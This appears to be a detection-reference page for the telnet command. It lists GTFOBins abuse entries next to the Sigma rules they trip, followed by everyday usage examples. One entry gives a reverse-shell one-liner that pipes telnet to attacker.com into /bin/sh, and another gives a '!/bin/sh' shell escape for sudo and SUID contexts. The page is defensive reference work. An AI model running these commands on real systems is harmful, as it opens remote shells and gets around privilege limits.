CmdID / Programs / Linux and Unix
telnet
Connect to a specified port of a host using the telnet protocol. tldr-pages
GTFOBins reverse-shell, shell 3 Sigma rules name it 2 documented commands
How telnet is abused
reverse-shell
shell
Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for telnet.
2 documented commands
reverse-shell unprivileged, with sudo, as SUID
The shell process is not spawn by openssl.
mkfifo /path/to/temp-socket
telnet attacker.com 12345 </path/to/temp-socket | /bin/sh >/path/to/temp-socketTrips 2 Sigma rules: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure]); lowMacOS Network Service Scanning by Alejandro Ortuno, oscd.community
shell unprivileged, with sudo, as SUID
telnet
!/bin/shTrips 2 Sigma rules: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure]); lowMacOS Network Service Scanning by Alejandro Ortuno, oscd.community
All 2 commands CmdID reads trip a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for telnet. CmdID reads the line of each that runs telnet.
What detects it
Everyday use
Telnet to the default port of a host
telnet hostIdentifyTrips 2 Sigma rules: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure]); lowMacOS Network Service Scanning by Alejandro Ortuno, oscd.community
Telnet to a specific port of a host
telnet ip_address portIdentifyTrips 2 Sigma rules: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure]); lowMacOS Network Service Scanning by Alejandro Ortuno, oscd.community
[Interactive] Exit a telnet session
quitOf the 2 examples CmdID reads, 2 match GTFOBins abuse or trip a Sigma process-creation rule.